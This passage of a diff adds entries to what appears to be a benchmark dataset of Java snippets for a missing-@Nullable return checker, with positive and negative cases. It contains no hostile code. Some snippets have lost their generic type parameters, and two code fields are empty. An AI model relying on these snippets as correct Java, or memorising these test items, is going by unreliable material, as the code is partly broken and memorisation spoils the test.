"expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(boolean b) {\n if (b) {\n // BUG: Diagnostic contains: @Nullable\n return null;\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "parenthesizedLiteralNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(boolean b) {\n if (b) {\n // BUG: Diagnostic contains: @Nullable\n return (null);\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "assignmentOfLiteralNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n String cachedMessage;\n\n public String getMessage(boolean b) {\n if (b) {\n // BUG: Diagnostic contains: @Nullable\n return cachedMessage = null;\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "castLiteralNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(boolean b) {\n if (b) {\n // BUG: Diagnostic contains: @Nullable\n return (String) null;\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "conditionalLiteralNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n // BUG: Diagnostic contains: @Nullable\n return x >= 0 ? null : \"negative\";\n }\n }" + }, + { + "description": "parenthesizedConditionalLiteralNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n // BUG: Diagnostic contains: @Nullable\n return (x >= 0 ? null : \"negative\");\n }\n }" + }, + { + "description": "switchExpressionTree", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n // BUG: Diagnostic contains: @Nullable\n return switch (x) {\n case 0 -> null;\n default -> \"non-zero\";\n };\n }\n }" + }, + { + "description": "switchExpressionTree_negative", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n return switch (x) {\n case 0 -> \"zero\";\n default -> \"non-zero\";\n };\n }\n }" + }, + { + "description": "switchStatement", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n switch (x) {\n case 0:\n // BUG: Diagnostic contains: @Nullable\n return null;\n default:\n return \"non-zero\";\n }\n }\n }" + }, + { + "description": "switchStatement_negative", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage(int x) {\n switch (x) {\n case 0:\n return \"zero\";\n default:\n return \"non-zero\";\n }\n }\n }" + }, + { + "description": "voidReturn", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return getVoid();\n }\n\n abstract Void getVoid();\n }" + }, + { + "description": "subtypeOfVoidReturn", + "expected-problems": null, + "expected-linenumbers": [ + 265 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get(Supplier s) {\n // BUG: Diagnostic contains: @Nullable\n return s.get();\n }\n\n interface Supplier {\n T get();\n }\n }" + }, + { + "description": "staticFinalFieldAboveUsage", + "expected-problems": null, + "expected-linenumbers": [ + 287 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n static final Object NULL = null;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return NULL;\n }\n }" + }, + { + "description": "staticFinalFieldBelowUsage", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return NULL;\n }\n\n static final Object NULL = null;\n }" + }, + { + "description": "instanceFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n final Object nullObject = null;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }" + }, + { + "description": "memberSelectFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 347 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n final Object nullObject = null;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return this.nullObject;\n }\n }" + }, + { + "description": "multipleFilesFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 367 + ], + "code": "class Foo {\n final Object nullObject = null;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }\n \n\n class Bar {\n final Object nullObject = null;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }" + }, + { + "description": "voidField", + "expected-problems": null, + "expected-linenumbers": [ + 397 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Void nullObject;\n\n Object get() {\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }" + }, + { + "description": "typeAnnotatedArrayElement", + "expected-problems": null, + "expected-linenumbers": [ + 417 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n @Nullable String[] getMessage(boolean b, String[] s) {\n return b ? s : null;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n @Nullable String @Nullable [] getMessage(boolean b, String[] s) {\n return b ? s : null;\n }\n }" + }, + { + "description": "testTypeAnnotatedMultidimensionalArrayElement", + "expected-problems": null, + "expected-linenumbers": [ + 449 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n String[] @Nullable [] getMessage(boolean b, String[][] s) {\n return b ? s : null;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n String @Nullable [] @Nullable [] getMessage(boolean b, String[][] s) {\n return b ? s : null;\n }\n }" + }, + { + "description": "finalLocalVariable", + "expected-problems": null, + "expected-linenumbers": [ + 481 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get() {\n final Object nullObject = null;\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }" + }, + { + "description": "effectivelyFinalLocalVariable", + "expected-problems": null, + "expected-linenumbers": [ + 500 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get() {\n Object nullObject = null;\n // BUG: Diagnostic contains: @Nullable\n return nullObject;\n }\n }" + }, + { + "description": "finalLocalVariableComplexTree", + "expected-problems": null, + "expected-linenumbers": [ + 519 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get(boolean b1, boolean b2, Object someObject) {\n final Object nullObject = null;\n // BUG: Diagnostic contains: @Nullable\n return (b1 ? someObject : b2 ? nullObject : \"\");\n }\n }" + }, + { + "description": "returnXIfXIsNull", + "expected-problems": null, + "expected-linenumbers": [ + 538 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n // BUG: Diagnostic contains: @Nullable\n return (o == null ? o : \"\");\n }\n }" + }, + { + "description": "returnXUnlessXIsXNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 556 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n // BUG: Diagnostic contains: @Nullable\n return (o != null ? \"\" : o);\n }\n }" + }, + { + "description": "returnXInsideIfNull", + "expected-problems": null, + "expected-linenumbers": [ + 574 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n if (o == null) {\n // BUG: Diagnostic contains: @Nullable\n return o;\n }\n return \"\";\n }\n }" + }, + { + "description": "returnXInsideElseOfNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 595 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n if (o != null) {\n return \"\";\n } else {\n // BUG: Diagnostic contains: @Nullable\n return o;\n }\n }\n }" + }, + { + "description": "returnFieldInsideIfNull", + "expected-problems": null, + "expected-linenumbers": [ + 617 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object o;\n\n Object foo() {\n if (o == null) {\n // BUG: Diagnostic contains: @Nullable\n return o;\n }\n return \"\";\n }\n }" + }, + { + "description": "otherVerify", + "expected-problems": null, + "expected-linenumbers": [ + 640 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static com.google.common.base.Verify.verify;\n\n class LiteralNullReturnTest {\n public String getMessage(boolean b) {\n verify(b);\n // BUG: Diagnostic contains: @Nullable\n return null;\n }\n }" + }, + { + "description": "orNull", + "expected-problems": null, + "expected-linenumbers": [ + 661 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import com.google.common.base.Optional;\n\n class LiteralNullReturnTest {\n public String getMessage(Optional m) {\n // BUG: Diagnostic contains: @Nullable\n return m.orNull();\n }\n }" + }, + { + "description": "orElseNull", + "expected-problems": null, + "expected-linenumbers": [ + 681 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import java.util.Optional;\n\n class LiteralNullReturnTest {\n public String getMessage(Optional m) {\n // BUG: Diagnostic contains: @Nullable\n return m.orElse(null);\n }\n }" + }, + { + "description": "implementsMapButAlwaysThrows", + "expected-problems": null, + "expected-linenumbers": [ + 701 + ], + "code": "import java.util.Map;\n\n abstract class MyMap implements Map {\n @Override\n public V put(K k, V v) {\n throw new UnsupportedOperationException();\n }\n }" + }, + { + "description": "implementsMapButDoNotCall", + "expected-problems": null, + "expected-linenumbers": [ + 719 + ], + "code": "import com.google.errorprone.annotations.DoNotCall;\n import java.util.Map;\n\n interface MyMap extends Map {\n @DoNotCall\n @Override\n V put(K k, V v);\n }" + }, + { + "description": "onlyIfAlreadyInScopeAndItIs", + "expected-problems": null, + "expected-linenumbers": [ + 737 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n String getMessage(boolean b) {\n // BUG: Diagnostic contains: @Nullable\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "onlyStatementIsNullReturnButCannotBeOverridden", + "expected-problems": null, + "expected-linenumbers": [ + 758 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public final class LiteralNullReturnTest {\n public String getMessage() {\n // BUG: Diagnostic contains: @Nullable\n return null;\n }\n }" + }, + { + "description": "arrayDeclaration", + "expected-problems": null, + "expected-linenumbers": [ + 776 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class LiteralNullReturnTest {\n public String[] getMessage(boolean b) {\n return b ? null : new String[0];\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class LiteralNullReturnTest {\n @Nullable\n public String[] getMessage(boolean b) {\n return b ? null : new String[0];\n }\n }" + }, + { + "description": "arrayTypeUse", + "expected-problems": null, + "expected-linenumbers": [ + 809 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n public String[] getMessage(boolean b) {\n return b ? null : new String[0];\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n public String @Nullable [] getMessage(boolean b) {\n return b ? null : new String[0];\n }\n }" + }, + { + "description": "arrayTypeUseTwoDimensional", + "expected-problems": null, + "expected-linenumbers": [ + 841 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n public String[][] getMessage(boolean b, String[][] s) {\n return b ? null : s;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n public String @Nullable [][] getMessage(boolean b, String[][] s) {\n return b ? null : s;\n }\n }" + }, + { + "description": "alreadyTypeAnnotatedInnerClassMemberSelect", + "expected-problems": null, + "expected-linenumbers": [ + 873 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n class Inner {}\n\n LiteralNullReturnTest.@Nullable Inner getMessage(boolean b, Inner i) {\n return b ? i : null;\n }\n }" + }, + { + "description": "alreadyTypeAnnotatedInnerClassNonMemberSelect", + "expected-problems": null, + "expected-linenumbers": [ + 894 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n class Inner {}\n\n @Nullable Inner getMessage(boolean b, Inner i) {\n return b ? i : null;\n }\n }" + }, + { + "description": "limitation_staticFinalFieldInitializedLater", + "expected-problems": null, + "expected-linenumbers": [ + 915 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n static final Object NULL;\n\n static {\n NULL = null;\n }\n\n Object get() {\n return NULL;\n }\n }" + }, + { + "description": "limitation_instanceFinalFieldInitializedLater", + "expected-problems": null, + "expected-linenumbers": [ + 938 + ], + "code": "" + }, + { + "description": "limitation_finalLocalVariableInitializedLater", + "expected-problems": null, + "expected-linenumbers": [ + 956 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object get() {\n final Object nullObject;\n nullObject = null;\n return nullObject;\n }\n }" + }, + { + "description": "limitation_returnThisXInsideIfNull", + "expected-problems": null, + "expected-linenumbers": [ + 975 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object o;\n\n Object foo() {\n if (this.o == null) {\n return this.o;\n }\n return \"\";\n }\n }" + }, + { + "description": "removeSuppressWarnings_removeNullnessReturnWarning", + "expected-problems": null, + "expected-linenumbers": [ + 997 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n @SuppressWarnings(\"nullness:return\")\n public String getMessage(boolean b) {\n if (b) {\n return null;\n } else {\n return \"negative\";\n }\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import org.jspecify.annotations.Nullable;\n\n public class LiteralNullReturnTest {\n\n public @Nullable String getMessage(boolean b) {\n if (b) {\n return null;\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "negativeCases_onlyStatementIsNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 1038 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage() {\n return null;\n }\n }" + }, + { + "description": "negativeCases_typeVariableUsage", + "expected-problems": null, + "expected-linenumbers": [ + 1055 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public T getMessage(boolean b, T t) {\n return b ? null : t;\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 1072 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class LiteralNullReturnTest {\n @Nullable\n public String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotatedNullableDecl", + "expected-problems": null, + "expected-linenumbers": [ + 1092 + ], + "code": "package com.google.anno.my;\n\n public @interface NullableDecl {}\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import com.google.anno.my.NullableDecl;\n\n public class LiteralNullReturnTest {\n @NullableDecl\n public String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyAnnotatedNullableType", + "expected-problems": null, + "expected-linenumbers": [ + 1119 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.compatqual.NullableType;\n\n public class LiteralNullReturnTest {\n public @NullableType String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyTypeAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 1138 + ], + "code": "package com.google.anno.my;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.TYPE_USE})\n public @interface Nullable {}\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n public class TypeAnnoReturnTest {\n public @com.google.anno.my.Nullable String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyDeclarationAnnotatedArray", + "expected-problems": null, + "expected-linenumbers": [ + 1166 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class LiteralNullReturnTest {\n @Nullable\n String[] getMessage(boolean b, String[] s) {\n return b ? s : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyTypeAnnotatedArray", + "expected-problems": null, + "expected-linenumbers": [ + 1186 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n String @Nullable [] getMessage(boolean b, String[] s) {\n return b ? s : null;\n }\n }" + }, + { + "description": "negativeCases_alreadyTypeAnnotatedMemberSelect", + "expected-problems": null, + "expected-linenumbers": [ + 1205 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class LiteralNullReturnTest {\n java.lang.@Nullable String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_checkNotNullNullableInput", + "expected-problems": null, + "expected-linenumbers": [ + 1224 + ], + "code": "" + }, + { + "description": "negativeCases_nonNullArrayWithNullableElements", + "expected-problems": null, + "expected-linenumbers": [ + 1246 + ], + "code": "package com.google.anno.my;\n\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Target;\n\n @Target({ElementType.TYPE_USE})\n public @interface Nullable {}\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n import com.google.anno.my.Nullable;\n\n public class NullableParameterTest {\n public String[] apply(@Nullable String[] message) {\n return message;\n }\n }" + }, + { + "description": "negativeCases_nonNullLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 1276 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage() {\n return \"hello\";\n }\n }" + }, + { + "description": "negativeCases_nonNullMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1293 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullMethodTest {\n public String getMessage(int x) {\n return String.valueOf(x);\n }\n }" + }, + { + "description": "negativeCases_nonNullField", + "expected-problems": null, + "expected-linenumbers": [ + 1310 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullFieldTest {\n private String message;\n\n public String getMessage() {\n return message;\n }\n }" + }, + { + "description": "negativeCases_nonNullParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1329 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullParameterTest {\n public String apply(String message) {\n return message;\n }\n }" + }, + { + "description": "negativeCases_this", + "expected-problems": null, + "expected-linenumbers": [ + 1346 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class ThisTest {\n private String message;\n\n public ThisTest setMessage(String message) {\n this.message = message;\n return this;\n }\n }" + }, + { + "description": "negativeCases_capturedLocal", + "expected-problems": null, + "expected-linenumbers": [ + 1366 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public abstract class CapturedLocalTest {\n public abstract String getMessage();\n\n public CapturedLocalTest withMessage(final String message) {\n return new CapturedLocalTest() {\n public String getMessage() {\n return message;\n }\n };\n }\n }" + }, + { + "description": "negativeCases_primitiveReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 1393 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class PrimitiveReturnTest {\n public int getCount() {\n return (Integer) null;\n }\n }" + }, + { + "description": "negativeCases_voidMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1410 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class VoidMethodTest {\n public void run(int iterations) {\n if (iterations <= 0) {\n return;\n }\n run(iterations - 1);\n }\n }" + }, + { + "description": "negativeCases_voidTypedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1430 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class VoidTypeTest {\n public Void run(int iterations) {\n if (iterations <= 0) {\n return null;\n }\n run(iterations - 1);\n return null;\n }\n }" + }, + { + "description": "negativeCases_nullableReturnInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 1451 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class MissingNullableReturnTest {\n public static final java.util.function.Function IDENTITY =\n (s -> {\n return s != null ? s : null;\n });\n }" + }, + { + "description": "negativeCases_returnLambda", + "expected-problems": null, + "expected-linenumbers": [ + 1471 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class MissingNullableReturnTest {\n public static java.util.function.Function identity() {\n return s -> s;\n }\n }" + }, + { + "description": "negativeCases_returnParenthesizedLambda", + "expected-problems": null, + "expected-linenumbers": [ + 1490 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class MissingNullableReturnTest {\n public static java.util.function.Function identity() {\n return (s -> s);\n }\n }" + }, + { + "description": "negativeCases_mixedMethodFieldAccessPath", + "expected-problems": null, + "expected-linenumbers": [ + 1511 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nonnull;\n\n public class MissingNullableReturnTest {\n public @Nonnull MyClass test() {\n return ((MyClass) null).myMethod().myField;\n }\n\n abstract class MyClass {\n abstract MyClass myMethod();\n\n MyClass myField;\n }\n }" + }, + { + "description": "negativeCases_delegate", + "expected-problems": null, + "expected-linenumbers": [ + 1537 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n import java.util.Optional;\n\n public class MissingNullableReturnTest {\n public String get() {\n return getInternal(true, null);\n }\n\n private String getInternal(boolean flag, @Nullable Integer i) {\n return \"hello\";\n }\n }" + }, + { + "description": "negativeCases_lambda", + "expected-problems": null, + "expected-linenumbers": [ + 1561 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n import java.util.concurrent.Callable;\n\n public class MissingNullableReturnTest {\n public Callable get() {\n return () -> {\n return null;\n };\n }\n }" + }, + { + "description": "negativeCases_staticNonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 1583 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n static Object NULL = null;\n\n Object get() {\n return NULL;\n }\n }" + }, + { + "description": "negativeCases_polyNull", + "expected-problems": null, + "expected-linenumbers": [ + 1602 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import org.checkerframework.checker.nullness.qual.PolyNull;\n\n public class LiteralNullReturnTest {\n public @PolyNull String getMessage(@PolyNull String s) {\n if (s == null) {\n return null;\n } else {\n return \"negative\";\n }\n }\n }" + }, + { + "description": "negativeCases_unreachableExit", + "expected-problems": null, + "expected-linenumbers": [ + 1625 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n System.exit(1);\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableRuntimeExit", + "expected-problems": null, + "expected-linenumbers": [ + 1643 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n Runtime.getRuntime().exit(1);\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableRuntimeHalt", + "expected-problems": null, + "expected-linenumbers": [ + 1661 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n Runtime.getRuntime().halt(1);\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableAssertFail", + "expected-problems": null, + "expected-linenumbers": [ + 1679 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static org.junit.Assert.fail;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n fail();\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableTestCaseFail", + "expected-problems": null, + "expected-linenumbers": [ + 1699 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static junit.framework.TestCase.fail;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n fail();\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableFailNonCanonicalImport", + "expected-problems": null, + "expected-linenumbers": [ + 1719 + ], + "code": "package foo;\n\n import junit.framework.TestCase;\n\n class BarTestCase extends TestCase {}\n \n\n package foo;\n\n import static foo.BarTestCase.fail;\n\n class OtherTestCase {\n public String getMessage() {\n fail();\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableThrowExceptionMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1748 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static org.junit.Assert.fail;\n\n class LiteralNullReturnTest {\n void throwRuntimeException() {}\n\n public String getMessage() {\n throwRuntimeException();\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableCheckFalse", + "expected-problems": null, + "expected-linenumbers": [ + 1770 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static com.google.common.base.Preconditions.checkState;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n checkState(false);\n return null;\n }\n }" + }, + { + "description": "negativeCases_unreachableVerifyFalse", + "expected-problems": null, + "expected-linenumbers": [ + 1790 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import static com.google.common.base.Verify.verify;\n\n class LiteralNullReturnTest {\n public String getMessage() {\n verify(false);\n return null;\n }\n }" + }, + { + "description": "negativeCases_staticFinalNonNullField", + "expected-problems": null, + "expected-linenumbers": [ + 1810 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n static final Object SOMETHING = 1;\n\n Object get() {\n return SOMETHING;\n }\n }" + }, + { + "description": "negativeCases_returnXIfXIsNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 1829 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n return (o != null ? o : \"\");\n }\n }" + }, + { + "description": "negativeCases_returnXIfSameSymbolDifferentObjectIsNull", + "expected-problems": null, + "expected-linenumbers": [ + 1846 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object o;\n\n Object foo(LiteralNullReturnTest other) {\n return (o == null ? other.o : \"\");\n }\n }" + }, + { + "description": "negativeCases_returnXUnlessXIsXNull", + "expected-problems": null, + "expected-linenumbers": [ + 1865 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n return (o == null ? \"\" : o);\n }\n }" + }, + { + "description": "negativeCases_returnXInsideIfNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 1882 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n if (o != null) {\n return o;\n }\n return \"\";\n }\n }" + }, + { + "description": "negativeCases_returnXInsideIfNullElse", + "expected-problems": null, + "expected-linenumbers": [ + 1902 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n if (o == null) {\n return \"\";\n } else {\n return o;\n }\n }\n }" + }, + { + "description": "negativeCases_returnXInsideIfNullButAfterOtherStatement", + "expected-problems": null, + "expected-linenumbers": [ + 1923 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object foo(Object o) {\n if (o == null) {\n o = \"\";\n return o;\n }\n return \"\";\n }\n }" + }, + { + "description": "negativeCases_onlyIfAlreadyInScopeAndItIsNot", + "expected-problems": null, + "expected-linenumbers": [ + 1944 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n String getMessage(boolean b) {\n return b ? \"\" : null;\n }\n }" + }, + { + "description": "negativeCases_orElseNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 1962 + ], + "code": 